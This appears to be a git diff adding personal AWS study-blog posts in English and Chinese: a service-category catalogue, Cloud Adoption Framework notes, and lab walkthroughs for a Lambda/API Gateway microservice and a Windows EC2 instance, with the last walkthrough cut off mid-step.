macOS, or Microsoft Windows. + +- **Software development kits (SDKs)**: AWS provides packages that enable accessing AWS in a variety of popular programming languages. + + + +## the AWS Cloud Adoption Framework (AWS CAF) + +AWS CAF: + +- help organizations design and travel an accelerated path to successful cloud adoption. + +- provides guidance and best practices to help organizations identify gaps in skills and processes. + +- helps organizations build a comprehensive approach to cloud computing—both across the organization and throughout the IT lifecycle—to accelerate successful cloud adoption. + +- At the highest level, the AWS CAF organizes guidance into six areas of focus/perspectives: + - Business(business, people, governance), + - technical (platform, security, operations). + +- Each perspective consists of a set of capabilities, which covers distinct responsibilities that are owned or managed by functionally related stakeholders. + + + +Capabilities within each perspective are used to identify which areas of an organization require attention. By identifying gaps, prescriptive work streams can be created that support a successful cloud journey. + +1. Stakeholders from the Business perspective + + - (business/finance managers, budget owners, and strategy stakeholders) + + - can use the AWS CAF to create a strong business case for cloud adoption and prioritize cloud adoption initiatives. + + - ensure that business strategies and goals align with its IT strategies and goals. + +2. Stakeholders from the People perspective + + - (human resources, staffing, and people managers: resource/incentive/career/training/organization change management) + + - can use the AWS CAF to evaluate organizational structures and roles, new skill and process requirements, and identify gaps. + + - Performing an analysis of needs and gaps can help prioritize training, staffing, and organizational changes to build an agile organization. + +3. Stakeholders from the Governance perspective + + - (the Chief Information Officer, CIO, program managers, enterprise architects, business analysts, and portfolio managers: portfolio/program and project/business performance/license management) + + - can use the AWS CAF to focus on the skills and processes that are needed to align 使结盟 IT strategy and goals with business strategy and goals. + + - This focus helps the organization maximize the business value of its IT investment and minimize the business risks. + +4. Stakeholders from the Platform perspective + + - (Chief Technology Officer, CTO, IT managers, solutions architects: compute/network/storage/database provisioning, systems and solution architecture, application development) + + - use a variety of architectural dimensions and models to understand and communicate the nature of IT systems and their relationships. + + - They must be able to describe the architecture of the target state environment in detail. The AWS CAF includes principles and patterns for implementing new solutions on the cloud, and for migrating on-premises workloads to the cloud. + +5. Stakeholders from the Security perspective + + - (Chief Information Security Officer, CISO, IT security managers/analysts: identity and access management, detective control, infrastructure security, data protection, incident response) + + - must ensure that the organization meets security objectives for visibility, audit ability, control, and agility. + + - can use the AWS CAF to structure the selection and implementation of security controls that meet the organization’s needs. + + +6. Stakeholders from the Operations perspective + + - (IT operations/support managers: service monitoring, application performance monitoring, resource inventory management, release/change management, reporting and analytics, business continuity/disaster recovery, IT service catalog) + + - define how day-to-day, quarter-to-quarter, and year-to-year business is conducted. + + - Stakeholders from the Operations perspective align with and support the operations of the business. The AWS CAF helps these stakeholders define current operating procedures. + + - It also helps them identify the process changes and training that are needed to implement successful cloud adoption. + +--- + +## shared responsibility model + +![Screenshot 2023-10-01 at 20.59.46](/assets/img/post/Screenshot%202023-10-01%20at%2020.59.46.png) + +![Screenshot 2023-10-01 at 22.35.59](/assets/img/post/Screenshot%202023-10-01%20at%2022.35.59.png) + +![Screenshot 2023-10-01 at 22.36.03](/assets/img/post/Screenshot%202023-10-01%20at%2022.36.03.png) diff --git a/_posts/01Cloud/01AWS/AWS-IoT-Core.md b/_posts/01Cloud/01AWS/AWS-IoT-Core.md new file mode 100644 index 00000000000..651d9592d1a --- /dev/null +++ b/_posts/01Cloud/01AWS/AWS-IoT-Core.md @@ -0,0 +1,5 @@ +AWS IoT Core +- a managed cloud service +- lets connected devices easily and securely interact with cloud applications and other devices. +- can support billions of devices and trillions of messages, +- can process and route those messages to AWS endpoints and to other devices reliably and securely. diff --git a/_posts/01Cloud/01AWS/AWS-SMS.md b/_posts/01Cloud/01AWS/AWS-SMS.md new file mode 100644 index 00000000000..b9485bfb41c --- /dev/null +++ b/_posts/01Cloud/01AWS/AWS-SMS.md @@ -0,0 +1,3 @@ +AWS Server Migration Service (SMS) +- an agentless service +- easier and faster to migrate thousands of on-premises workloads to AWS. diff --git a/_posts/01Cloud/01AWS/AWSServiceCategories.md b/_posts/01Cloud/01AWS/AWSServiceCategories.md new file mode 100644 index 00000000000..159842be67a --- /dev/null +++ b/_posts/01Cloud/01AWS/AWSServiceCategories.md @@ -0,0 +1,625 @@ +# AWS service categories + +- [AWS service categories](#aws-service-categories) + - [Overview](#overview) + - [Compute 计算](#compute-计算) + - [Storage 存储](#storage-存储) + - [Database 数据库](#database-数据库) + - [Migration \& Transfer 数据迁移和传输](#migration--transfer-数据迁移和传输) + - [Networking \& Content Delivery 网络和内容传送](#networking--content-delivery-网络和内容传送) + - [Developer Tools 开发工具](#developer-tools-开发工具) + - [Robotics 机器人](#robotics-机器人) + - [Customer Enablement 针对每个客户的优化](#customer-enablement-针对每个客户的优化) + - [Blockchain 区块链](#blockchain-区块链) + - [Satellite 卫星](#satellite-卫星) + - [Quantum Technologies 量子技术](#quantum-technologies-量子技术) + - [Management \& Governance 管理与政府治理](#management--governance-管理与政府治理) + - [Identity \& access management](#identity--access-management) + - [Detection](#detection) + - [Infrastructure protection](#infrastructure-protection) + - [Data protection](#data-protection) + - [Incidence response](#incidence-response) + - [Compliance](#compliance) + - [Media Services | 媒体服务](#media-services--媒体服务) + - [Machine Learning 机器学习](#machine-learning-机器学习) + - [Analytics 分析](#analytics-分析) + - [Mobile 移动设备](#mobile-移动设备) + - [AR \& VR 增强现实和虚拟现实](#ar--vr-增强现实和虚拟现实) + - [Application Integration 应用程序集成](#application-integration-应用程序集成) + - [AWS Cost Management AWS的成本管理](#aws-cost-management-aws的成本管理) + - [Customer Engagement 客户交互](#customer-engagement-客户交互) + - [Business Applications 商业应用程序](#business-applications-商业应用程序) + - [End User Computing 终端用户计算机技术](#end-user-computing-终端用户计算机技术) + - [Internet Of Things 物联网](#internet-of-things-物联网) + - [Game Development 游戏开发](#game-development-游戏开发) + - [Containers 容器](#containers-容器) + + +--- + +## Overview + +![Screenshot 2023-10-01 at 21.10.30](/assets/img/post/Screenshot%202023-10-01%20at%2021.10.30.png) + +![Screenshot 2023-10-01 at 21.10.38](/assets/img/post/Screenshot%202023-10-01%20at%2021.10.38.png) + +![Screenshot 2023-10-01 at 21.10.46](/assets/img/post/Screenshot%202023-10-01%20at%2021.10.46.png) + +![Screenshot 2023-10-01 at 22.30.58](/assets/img/post/Screenshot%202023-10-01%20at%2022.30.58.png) + + +--- + +## Compute 计算 + +- EC2 + - 虚拟私有服务器 + +- Lightsail + - 亚马逊提供的托管服务商(VPS、DNS、存储) + +- Lambda + - 可以运行用Python,Node.js,Go等语言编写的代码,还可以并行运行。 + +- Batch + - 在EC2机器的Docker容器中运行软件指令 + +- Elastic Beanstalk + - 在托管的虚拟机上运行软件 + +- Serverless Application Repository + - (在Lambda)可部署的无服务器应用程序的存储库 + +- AWS Outposts + - 可以在您的数据中心使用亚马逊服务 + +- EC2 Image Builder + - 自动创建EC2图像 + +![Screen Shot 2020-06-24 at 13.24.29](/assets/img/post/Screen%20Shot%202020-06-24%20at%2013.24.29.png) + +## Storage 存储 + +- S3 + - 不能直接挂载,但可以通过HTTP下载的文件存储 + +- EFS + - 可以将网络上的磁盘挂载到您的机器上使用的网络文件系统 + +- FSx + - 可以从EC2机器连接的Windows或Lustre的文件系统 + +- S3 Glacier + - 用于备份和归档的低成本存储系统 + +- Storage Gateway + - 可以把S3连接到自有(或远程控制)的机器上使用的iSCSI + +- AWS Backup + - 自动备份不同AWS服务(如EC2和RDS) + +![Screen Shot 2020-06-24 at 13.24.46](/assets/img/post/Screen%20Shot%202020-06-24%20at%2013.24.46.png) + + +## Database 数据库 + + +- RDS + - 托管的MySQL,PostgreSQL数据库 + +- DynamoDB + - 大规模可扩展的非关系数据库 + +- ElastiCache + - 托管的分布式的memcache高速缓存系统和redis高性能Key-Value数据库 + +- Neptune + - 图表数据库 + +- Amazon Redshift + - 用来大量存储流计算可处理数据的数据仓 + +- Amazon QLDB + - 可供选择的用于加密验证的数据(如货币交易)的数据库 + +- Amazon DocumentDB + - MongoDB的克隆(不完全兼容) + +- Amazon Keyspaces + - 托管的Apache Cassandra的克隆 + +![Screen Shot 2020-06-24 at 13.25.03](/assets/img/post/Screen%20Shot%202020-06-24%20at%2013.25.03.png) + + +## Migration & Transfer 数据迁移和传输 + +- Migration Hub + - 从数据中心迁移到AWS + +- Application Discovery Service + - 在您的数据中心提供检测服务 + +- Database Migration Service + - 可以将运行中的数据库迁移到RDS,不同的数据结构之间也可以实施 + +- Server Migration Service + - 可以将虚拟机迁移到AWS + +- AWS Transfer Family + - 以S3为基础的(s)FTP服务。可以通过FTP将数据传输到S3存储桶 + +- Snowball + - 可申领一台AWS机器并连接到您的数据中心,将数据快速传输到AWS后再归还机器 + +- DataSync(DataSync) + - 在数据中心和AWS之间同步数据 + +![Screen Shot 2020-06-24 at 13.25.15](/assets/img/post/Screen%20Shot%202020-06-24%20at%2013.25.15.png) + + +## Networking & Content Delivery 网络和内容传送 + +- [VPC](https://ocholuo.github.io/posts/VPC/) + - 在AWS中创建您自己的VPN + +- [VPC Flow] + - to monitor VPC traffic + +- [CloudFront](https://ocholuo.github.io/posts/CloudFront/) + - 内容传送网络 + +- Route 53 + - 管理域名和记录 + +- [API Gateway](https://ocholuo.github.io/posts/Gatway-API-Gateway/) + - 创建HTTP API并将它们连接到不同的后端 + +- Direct Connect + - (物理)连接您的系统(或数据中心)和AWS + +- AWS App Mesh + - 可以作为您的容器(ECS或EKS)的sidecar自动运行Envoy + +- AWS Cloud Map + - 为您的容器提供检测服务 + +- Global Accelerator + - 在边缘位置运行应用程序(CDN的应用程序版本) + +![Screen Shot 2020-06-24 at 13.25.29](/assets/img/post/Screen%20Shot%202020-06-24%20at%2013.25.29.png) + +--- + +## Developer Tools 开发工具 +| service | info | +| -------------------------------------------------------------- | ------------------------------------------------------------------ | +| CodeStar(CodeStar) | 可以使用template code、CodeCommit和CodeBuild的模板快速开发应用程序 | +| [CodeCommit](https://ocholuo.github.io/posts/1CodeCommit/) | 亚马逊资源存储库(如git存储库等) | +| [CodeBuild](https://ocholuo.github.io/posts/2CodeBuild/) | 持续集成服务 | +| [CodeDeploy](https://ocholuo.github.io/posts/3CodeDeploy/) | 部署服务 | +| [CodePipeline](https://ocholuo.github.io/posts/0CodePipeline/) | 按照定义的工作流进行代码传送 | +| Cloud9 | 在线的集成开发环境IDE | +| X-Ray | 可以分析和调试应用程序,支持Python、Node.js、Go等开发语言 | + +## Robotics 机器人 +| service | info | +| ------------- | ------------------------------------------------------------------------------------------------ | +| AWS RoboMaker | Cloud solution for robotic developers to simulate, test and securely deploy robotic applications | +| AWS RoboMaker | 为机器人工程师提供的云端解决方案,可用于模拟、测试和安全部署机器人的应用程序 | + +## Customer Enablement 针对每个客户的优化 +| service | info | +| ---------------- | ------------------------------- | +| AWS IQ | 可以根据需要聘请AWS专家的招工板 | +| Support | AWS支持中心 | +| Managed Services | 委托AWS为您运行管理AWS服务 | + +## Blockchain 区块链 +| service | info | +| ------------------------- | ------ | +| Amazon Managed Blockchain | 区块链 | + +## Satellite 卫星 +| service | info | +| -------------- | ------------------------------ | +| Ground Station | 分时无线电和指向太空的大型天线 | + +## Quantum Technologies 量子技术 +| service | info | +| ------------- | ------------ | +| Amazon Braket | 一些量子技术 | + +## Management & Governance 管理与政府治理 + +- [CloudWatch](https://ocholuo.github.io/posts/AWS-CloudWatch/) + - 从不同的AWS组件获取日志 + +- AWS Auto Scaling + - 根据您自己设置的输入和规则对资源进行缩放 + +- [CloudFormation](https://ocholuo.github.io/posts/CloudFormation/) + - 使用模板创建和设置AWS组件 + +- OpsWorks + - 通过Ansible实现自动化运维 + +- Service Catalog + - 管理云端的项目或代码的列表 + +- Systems Manager + - 可以自由对资源进行分组和查看数据,例如单个应用程序 + +- AWS AppConfig + - 可以保存或发布应用程序的配置数据 + +- Trusted Advisor + - 检查账户成本和安全性等问题 + +- Control Tower + - 管理多个帐户 + +- AWS License Manager + - 管理许可证 + +- AWS Well-Architected Tool + - 创建关于系统的问卷调查,并查看其是否符合最佳实践路线 + +- Personal Health Dashboard + - AWS状态页面 + +- AWS Chatbot + - 可以使AWS与Slack联动 + +- Launch Wizard + - 用来部署MS SQL或SAP的软件 + +- AWS Compute Optimizer + - 发现最佳资源并指导您如何降低成本 + +![Screen Shot 2020-06-24 at 13.25.43](/assets/img/post/Screen%20Shot%202020-06-24%20at%2013.25.43.png) + +--- + +## Identity & access management + +- [AWS Identity & Access Management (IAM)](https://ocholuo.github.io/posts/IAM/) + - AWS权限系统,可管理用户和AWS服务 + - Securely manage access to services and resources + - securely control access + +- [AWS CloudTrail](https://ocholuo.github.io/posts/AWS-CloudTrail/) + - 记录在您的AWS服务中谁做了什么 + - Track user activity and API usage + - Track app related/infrastructure access + + +- [AWS Single Sign-On (SSO)](https://ocholuo.github.io/posts/SSO/) + - 可以在应用程序中使用单点登录功能 + - Cloud single-sign-on (SSO) service + +- Amazon Cognito + - Identity management for the apps + - 用户和密码管理系统,方便应用程序的用户管理 + + +- AWS Directory Service: + - Managed Microsoft Active Directory + - SaaS的动态目录 + +- AWS Resource Access Manager: + - Simple, secure service to share AWS resources + - 与其他账户共享AWS资源,如Route 53和EC2 + +- [AWS Organizations](https://ocholuo.github.io/posts/AWS-organizations/) + - 设置多个组织和帐户 + - Central governance and management across AWS accounts + +![Screen Shot 2020-06-24 at 13.26.48](/assets/img/post/Screen%20Shot%202020-06-24%20at%2013.26.48.png) + +--- + +## Detection + +- AWS Security Hub: + - Unified security and compliance center + - 利用GuardDuty、Inspector、Macie等的综合安全检查器 + + +- [Amazon GuardDuty](https://ocholuo.github.io/posts/AWS-Duty/) + - CloudTrail自动扫描VPC日志以应对威胁 + - Managed threat detection service + + +- [Amazon Inspector](https://ocholuo.github.io//posts/AWS-Inspector/) + - 自动检测网络和机器的(安全)问题 + - Analyze application security + + +- AWS Config: + - Record and evaluate configurations of the AWS resources + - 审核您的AWS资源配置 + +--- + +## Infrastructure protection +- AWS Shield: + - DDoS protection + - Web应用防火墙,可以设置规则或指定预先准备的规则 + +- AWS Web Application Firewall (WAF): + - Filter malicious web traffic, mitigate cross-site scripting attacks and also SQL injection attacks on the application + +- AWS Firewall Manager: + - Central management of firewall rules + - 组织内不同帐户的防火墙管理 + +--- + +## Data protection + +- Amazon Macie: + - Discover and protect the sensitive data at scale + - 分析S3存储桶中的数据并检查您的个人信息 + +- AWS Key Management Service (KMS): + - Key storage and management + - 管理加密密钥 + +- AWS CloudHSM: + - Hardware based key storage for regulatory compliance + - 硬件安全模块,可以生成和操作加密密钥 + +- AWS Certificate Manager: + - Provision, manage, and deploy public and private SSL/TLS certificates + - 管理SSL证书和颁发(免费)证书 + +- AWS Secrets Manager: + - Rotate, manage and retrieve secrets + - 保护加密数据,如密钥。也可以自动旋转秘密 + +--- + +## Incidence response +- Amazon Detective: + - Investigate potential security issues + - (来自Security Hub等)将安全问题留在日志中 + +- Cloud Endure Disaster Recovery: + - Fast, automated, cost- effective disaster recovery + +--- + +## Compliance +- AWS Artifact: + - No cost, self-service portal for on-demand access to AWS’ compliance reports + - 云合规性文档(ISO/IEC 27001类似的东西) + +--- + +## Media Services | 媒体服务 + +- Elastic Transcoder + - 将S3的文件转换为不同的格式或者以S3格式存储 + +- Kinesis Video Streams + - 捕获媒体流 + +- Elemental MediaConnect + - 截止目前内容不明 + +- Elemental MediaConvert + - 将媒体转换为不同的格式 + +- Elemental MediaLive + - 分享实时视频 + +- Elemental MediaPackage + - 截止目前内容不明 + +- Elemental MediaStore + - 截止目前内容不明 + +- Elemental MediaTailor + - 在视频广播中插入广告 + +- Elemental Appliances & Software + - 可以在本地创建视频,基本上是上述服务的组合 + +![Screen Shot 2020-06-24 at 13.26.01](/assets/img/post/Screen%20Shot%202020-06-24%20at%2013.26.01.png) + +--- + + +## Machine Learning 机器学习 +| service | info | +| -------------------------------------------------------------------- | ------------------------------------------------ | +| Amazon SageMaker | 机器学习工具 | +| [Amazon DataWrangler](https://ocholuo.github.io/posts/DataWrangler/) | Tableau + ELK for stored data | +| Amazon CodeGuru | 在机器学习中配置Java代码 | +| Amazon Comprehend | 理解并对邮件和推文的内容进行分类 | +| Amazon Forecast | 根据数据进行预测 | +| Amazon Fraud Detector | 截止目前内容不明 | +| Amazon Kendra | 通过问题搜索服务 | +| Amazon Lex | 可以创建语音对话和聊天机器人 | +| Amazon Machine Learning | 不推荐,SageMaker是后继产品 | +| Amazon Personalize | 可以根据数据创建针对个人做最优化的推荐 | +| Amazon Polly | 可以从文本转换为不同语种的语音 | +| Amazon Rekognition | 识别图像中的物体或人物 | +| Amazon Textract | 识别图像中的文本并将其作为文本输出(光学字符识别) | +| Amazon Transcribe | 将音声转换为文本 | +| Amazon Translate | 将文本翻译成其他语言 | +| AWS DeepLens | 进行机器学习的摄像机 | +| AWS DeepRacer | 一种在机器学习中编程竞赛的赛车游戏 | +| Amazon Augmented AI | 让人类参与学习流程,使机器学习更好 | +| AWS DeepComposer | 用电脑作曲,听上去相当的厉害 | + +## Analytics 分析 + +- Athena + - 将查询数据保存在S3存储桶中 + +- EMR + - 大数据框架可以执行缩放 + +- CloudSearch + - 托管文档搜索系统(Elasticsearch的AWS版本) + +- Elasticsearch Service + - SaaS的Elasticsearch + +- Kinesis + - 以可分析的形式收集大量数据(可能类似ELK) + +- QuickSight + - 商业智能服务 + +- Data Pipeline + - 将数据移动或变换格式到DynamoDB、RDS或S3等 + +- AWS Data Exchange + - 寻找那些数据可以加以利用的API,但这可能会非常昂贵 + +- AWS Glue + - ETL提高和验证服务和数据质量 + +- AWS Lake Formation + - 数据湖(数据湖)创建(创建) + +- MSK + - SaaS的Apache Kafka + +![Screen Shot 2020-06-24 at 13.26.33](/assets/img/post/Screen%20Shot%202020-06-24%20at%2013.26.33.png) + + +--- + + +## Mobile 移动设备 +| service | info | +| ----------- | --------------------------------------------------------------- | +| AWS Amplify | 在AWS上自动生成并自动部署前端和后端应用程序 | +| Mobile Hub | 现在Amplify的一部分 | +| AWS AppSync | 可以创建可连接的后端API,也可以通过Amplify创建 | +| Device Farm | AWS的BrowserStack,可以在不同的移动设备和浏览器上自动进行测试。 | + +## AR & VR 增强现实和虚拟现实 +| service | info | +| --------------- | ---------------- | +| Amazon Sumerian | 截止目前内容不明 | + + +--- + +## Application Integration 应用程序集成 + +- Step Functions + - 可以用亚马逊自己的语言描述机器配置 + +- Amazon AppFlow + - 可以自动绑定多个应用程序(可能类似zapier) + +- Amazon EventBridge + - 类似eventbus系统 + +- Amazon MQ + - 由亚马逊管理的ActiveMQ + +- Simple Notification Service + - 通过电子邮件、短信等方式通知系统 + +- Simple Queue Service + - 消息队列(消息队列)系统的系统 + +- SWF + - 可以创建工作流程 + +![Screen Shot 2020-06-24 at 13.27.04](/assets/img/post/Screen%20Shot%202020-06-24%20at%2013.27.04.png) + +--- + +## AWS Cost Management AWS的成本管理 +| service | info | +| ------------------------------ | ------------------------- | +| AWS Cost Explorer | 可视化AWS成本状况 | +| AWS Budgets | 创建AWS预算 | +| AWS Marketplace Subs criptions | 查找并购买已安装软件的AMI | + +## Customer Engagement 客户交互 +| service | info | +| -------------------- | -------------------------------------------- | +| Amazon Connect | AWS呼叫中心平台 | +| Pinpoint | 通过模板创建交易用的电子邮件、短信或语音电话 | +| Simple Email Service | 邮件提供商,可以发送邮件 | + +## Business Applications 商业应用程序 +| service | info | +| ------------------ | ------------------------ | +| Alexa for Business | 将业务与Alexa联系起来 | +| Amazon Chime | Zoom的AWS版本 | +| WorkMail | AWS版本的Gmail和谷歌日历 | + +--- + +## End User Computing 终端用户计算机技术 + +- WorkSpaces + - 提供Windows或Linux的虚拟桌面服务 + +- AppStream 2.0 + - 可以将应用程序分发到浏览器 + +- WorkDocs + - 可以在线保存和管理文档 + +- WorkLink + - 可以将移动端用户连接到内联网 + +![Screen Shot 2020-06-24 at 13.27.22](/assets/img/post/Screen%20Shot%202020-06-24%20at%2013.27.22.png) + +--- + +## Internet Of Things 物联网 + +- IoT Core + - 通过MQTT代理管理IoT设备组 + +- FreeRTOS + - 用于微型控制器的RTOS操作系统,可自动连接到IoT Core或Greengrass + +- IoT1-Click + - 一键连接和管理Lambda等系统 + +- IoT Analytics + - 可以结构化和存储各种消息进行分析 + +- IoT Device Defender + - 检测设备异常并采取行动 + +- IoT Device Management + - 对IoT设备进行分组,为作业安排和远程访问设置 + +- IoT Events + - 监控设备使用情况,并自行执行AWS服务和作业 + +- IoT Greengrass + - 如果到IoT Core的连接是断断续续的,消息代理可以对最多200台能够相互通信的本地设备进行数据缓冲 + +- IoT SiteWise + - 收集、结构化、分析和视觉化来自工业设备的数据 + +- IoT Things Graph + - 类似CloudFormatation的设计工具,用于将设备与其他AWS服务的通信方式视觉化 + +## Game Development 游戏开发 +| service | info | +| --------------- | --------------------- | +| Amazon GameLift | 在AWS上部署游戏服务器 | + +## Containers 容器 +| service | info | +| --------------------------------------------------------------------------- | ----------------------------------------------------------- | +| [Elastic Container Registry]() | 可以像在Docker Hub一样保存Docker映像 | +| [Elastic Container Service - ECS](https://ocholuo.github.io/posts/AWS-ECS/) | 可以在您自己的EC2机器或者所管理的Fargate机器上运行container | +| [Elastic Kubernetes Service]() | SaaS的Kubernetes | + +. diff --git a/_posts/01Cloud/01AWS/AWS_Lab/2020-07-16-AWS-Create-simple-microservice-using-Lambda-and-API-Gateway.md b/_posts/01Cloud/01AWS/AWS_Lab/2020-07-16-AWS-Create-simple-microservice-using-Lambda-and-API-Gateway.md new file mode 100644 index 00000000000..e1588b9acfa --- /dev/null +++ b/_posts/01Cloud/01AWS/AWS_Lab/2020-07-16-AWS-Create-simple-microservice-using-Lambda-and-API-Gateway.md @@ -0,0 +1,83 @@ +--- +title: AWS Lab - Create a simple microservice using Lambda and API Gateway +date: 2020-07-16 11:11:11 -0400 +categories: [01AWS, AWSLab] +tags: [AWS, Lab] +math: true +image: +--- + + + +# Create a simple microservice using Lambda and API Gateway + +- [Create a simple microservice using Lambda and API Gateway](#create-a-simple-microservice-using-lambda-and-api-gateway) + - [Overview](#overview) + - [create an API using Amazon API Gateway](#create-an-api-using-amazon-api-gateway) + +--- + +## Overview + +- create a Lambda function, and an Amazon API Gateway endpoint to trigger that function. +- call the endpoint with any method (GET, POST, PATCH, etc.) to trigger Lambda function. +- When the endpoint is called, the entire request will be passed through to your Lambda function. +- function action depend on the method you call your endpoint with: + - DELETE: delete an item from a DynamoDB table + - GET: scan table and return all items + - POST: Create an item + - PUT: Update an item + +## create an API using Amazon API Gateway + +1. create an API + - open the AWS Lambda console > Create Lambda function > Blueprint. + - Enter `microservice` in the search bar. + - Choose the `microservice-http-endpoint` blueprint and then choose `Configure` + - Configure the following settings. + - Name – lambda-microservice. + - Role – Create a new role from one or more templates. + - Lambda will create an execution role named lambda-microservice-role-d9awhq6v + - with permission to upload logs to Amazon CloudWatch Logs. + - Role name – lambda-apigateway-role. + - Policy templates – Simple microservice permissions. + - API – Create a new API. + - Security – Open. + - Create function. + +Lambda creates a proxy resource named lambda-microservice under the API name you selected. +A proxy resource has an AWS_PROXY integration type and a catch-all method ANY. The AWS_PROXY integration type applies a default mapping template to pass through the entire request to the Lambda function and transforms the output from the Lambda function to HTTP responses. The ANY method defines the same integration setup for all the supported methods, including GET, POST, PATCH, DELETE and others. +Test sending an HTTPS request + +1. use the console to test the Lambda function. + + 1. In addition, you can run a curl command to test the end-to-end experience. That is, send an HTTPS request to your API method and have Amazon API Gateway invoke your Lambda function. In order to complete the steps, make sure you have created a DynamoDB table and named it "MyTable". + 2. To test the API + 1. choose Configure test event. + 2. Replace the existing text with the following + 3. Save and test. + +```YAML +{ + "httpMethod": "GET", + "queryStringParameters": { + "TableName": "MyTable" + } +} + +result: +{ + "statusCode": "200", + "body": "{\"Items\":[{\"name\":\"bob\",\"age\":\"26\"}],\"Count\":1,\"ScannedCount\":1}", + "headers": { + "Content-Type": "application/json" + } +} + +Request ID: +"a7631331-3bef-4e13-86d0-ec8900f6cbb3" +Function logs: +START RequestId: a7631331-3bef-4e13-86d0-ec8900f6cbb3 Version: $LATEST +END RequestId: a7631331-3bef-4e13-86d0-ec8900f6cbb3 +REPORT RequestId: a7631331-3bef-4e13-86d0-ec8900f6cbb3 Duration: 121.95 ms Billed Duration: 200 ms Memory Size: 512 MB Max Memory Used: 89 MB +``` diff --git a/_posts/01Cloud/01AWS/AWS_Lab/2020-07-16-AWS-lab-Readme.md b/_posts/01Cloud/01AWS/AWS_Lab/2020-07-16-AWS-lab-Readme.md new file mode 100644 index 00000000000..20593e6bdc7 --- /dev/null +++ b/_posts/01Cloud/01AWS/AWS_Lab/2020-07-16-AWS-lab-Readme.md @@ -0,0 +1,37 @@ +--- +title: AWS Lab - Readme +date: 2020-07-16 11:11:11 -0400 +categories: [01AWS, AWSLab] +tags: [AWS, Lab] +math: true +image: +--- + +# Readme + +- [Readme](#readme) + - [AWS cloud architect project](#aws-cloud-architect-project) + +``` + __∧_∧__ ~~~~~ + /(*´O`)/\ +/| ̄∪∪ ̄|\/ + |__ _|/ +``` + +--- + +## AWS cloud architect project + +1. Lambda interact with S3, auto make modify to the upload file... +2. Lambda interact with API gateway, calculate the data it get. +3. with ECS and Docker Hub to create a static web site. +4. configure VPC gateway to create endpoint, grant access to S3 or other cloud service from a private EC2 instance that do not have public internet. +5. configure Egress-only internet gateway for IPv6 EC2 instance. +6. Configure EFS and mount it to multiple EC2 instance in multiple AZ. +7. create a VPC peer connection +8. create database with word-press + - RDS with multi-AZ and read-replica + - Aurora and Aurora serverless + - DynamoDB, create the table and query/scan the item. +9. use CLB to balanace the traffic to 3 different web instance, make the web instance only be connected through CLB diff --git a/_posts/01Cloud/01AWS/AWS_Lab/2020-07-16-AWS-lab.md b/_posts/01Cloud/01AWS/AWS_Lab/2020-07-16-AWS-lab.md new file mode 100644 index 00000000000..376549c8abb --- /dev/null +++ b/_posts/01Cloud/01AWS/AWS_Lab/2020-07-16-AWS-lab.md @@ -0,0 +1,797 @@ +--- +title: AWS Lab +date: 2020-07-16 11:11:11 -0400 +categories: [01AWS, AWSLab] +tags: [AWS, Lab] +math: true +image: +--- + + +# AWS Lab + +- [AWS Lab](#aws-lab) +- [1. beginning](#1-beginning) + - [启动实例](#启动实例) + - [2 连接实例](#2-连接实例) + - [remote desktop](#remote-desktop) + - [1.3 终止您的实例](#13-终止您的实例) +- [2. begin](#2-begin) + - [2.1 Active directory](#21-active-directory) + - [2.1.1 部署AD](#211-部署ad) + - [2.1.1.1 部署环境](#2111-部署环境) + - [2.1.1.2 森林模型](#2112-森林模型) + - [2.1.1.3 角色安装](#2113-角色安装) + - [2.1.1.4 运行AD DS部署向导](#2114-运行ad-ds部署向导) + - [2.1.2 新建组织单位、组、用户](#212-新建组织单位组用户) + - [2.1.2.1 新建组织单位](#2121-新建组织单位) + - [2.1.2.2 新建组](#2122-新建组) + - [2.1.2.3 新建用户](#2123-新建用户) +- [DNS 配置](#dns-配置) + - [Assigning a FQDN (Fully Qualified Domain Name) to an EC2 Instance Using Route 53](#assigning-a-fqdn-fully-qualified-domain-name-to-an-ec2-instance-using-route-53) + - [2.1.4 Active Directory Deployment and Management \& Administration](#214-active-directory-deployment-and-management--administration) + - [2.1.4.1 Deploying Remote Domain Controllers](#2141-deploying-remote-domain-controllers) + - [2.1.4.1.1 Add Active Directory Domain Services](#21411-add-active-directory-domain-services) + - [2.1.4.1.2 Deploy a second domain controller](#21412-deploy-a-second-domain-controller) + - [2.1.4.1.3 Verify the new domain controller](#21413-verify-the-new-domain-controller) + - [2.1.4.1.4 Deploy a third domain controller](#21414-deploy-a-third-domain-controller) + - [2.1.4.1.5 Verify the new domain controller](#21415-verify-the-new-domain-controller) +- [3. web server](#3-web-server) + - [3.1 IIS manage](#31-iis-manage) + - [3.1.1 server certificates](#311-server-certificates) + - [3.1.2 mmc](#312-mmc) + - [3.1.3 CA locally](#313-ca-locally) +- [4. file server](#4-file-server) + - [4.1 NAS](#41-nas) + - [4.1.1 shares](#411-shares) + - [4.2 SAN](#42-san) +- [5. DNS](#5-dns) + - [5.1 install roles: DNS](#51-install-roles-dns) + - [5.3 DNS 设置](#53-dns-设置) + - [registry editor](#registry-editor) +- [6. VPN](#6-vpn) +- [Database](#database) + + +-- + + + +# 1. beginning + +prepare a launch instance + +ref: https://darrenoneill.eu/?p=816 + +## 启动实例 + +1. EC2 +2. **Launch Instance** +3. choose **Amazon Machine Image**.AMI.Amazon 系统映像 : + * *Windows_Server-2016-English-Full-Base-2018.09.15 (ami-01945499792201081)* +4. Choose **Instance Type** 实例硬件配置: *t2.micro* 类型. +5. Review and Launch +6. [dont]`Review Instance Launch (查看实例启动) > Security Groups (安全组) > Edit security groups > 在 Configure Security Group 页面上,确保 *Select an existing security group* 处于选中状态。> 从现有安全组列表中选择您的安全组 > *Review and Launch*。> 在 Review Instance Launch 页面上 > *Launch*。` +7. *security group* + * RDP for Windows + * SSH for Linus +8. *select an existing key pair or create a new key pair* 提供密钥 + * *Choose an existing key pair*,然后选择您在进行设置时创建的密钥对。 + * *Create a new key pair*, 新建密钥对。 + * 输入密钥对的名称,然后选择 *Download Key Pair*。 + * kay pair name: **3rdQAQ** + * 保存 **私有密钥文件** 的唯一机会,因此务必单击进行下载。 + * 将私有密钥文件保存在安全位置。当您启动实例时,您将需要提供密钥对的名称; + * 每次连接到实例时,您将需要提供相应的私有密钥。 + * 准备好后,选中确认复选框,然后选择 *Launch Instances*。 + +![Screen Shot 2020-04-11 at 09.36.13](https://i.imgur.com/Anvu4z9.png) + +Click your instance ID to see the instance: `i-0af1171b0089f1cdf ` + +8. 确认页面会让您知道自己的实例已启动。选择 *View Instances* 以关闭确认页面并返回控制台。 +9. 在实例屏幕上,您可以查看启动状态。启动实例只需很短的时间。 + - 实例初始状态为 `pending`, 启动后变为 `running` + - 并收到一个公有 DNS 名称。 + - (如果 Public DNS (IPv4) 列已隐藏,请选择页面右上角的 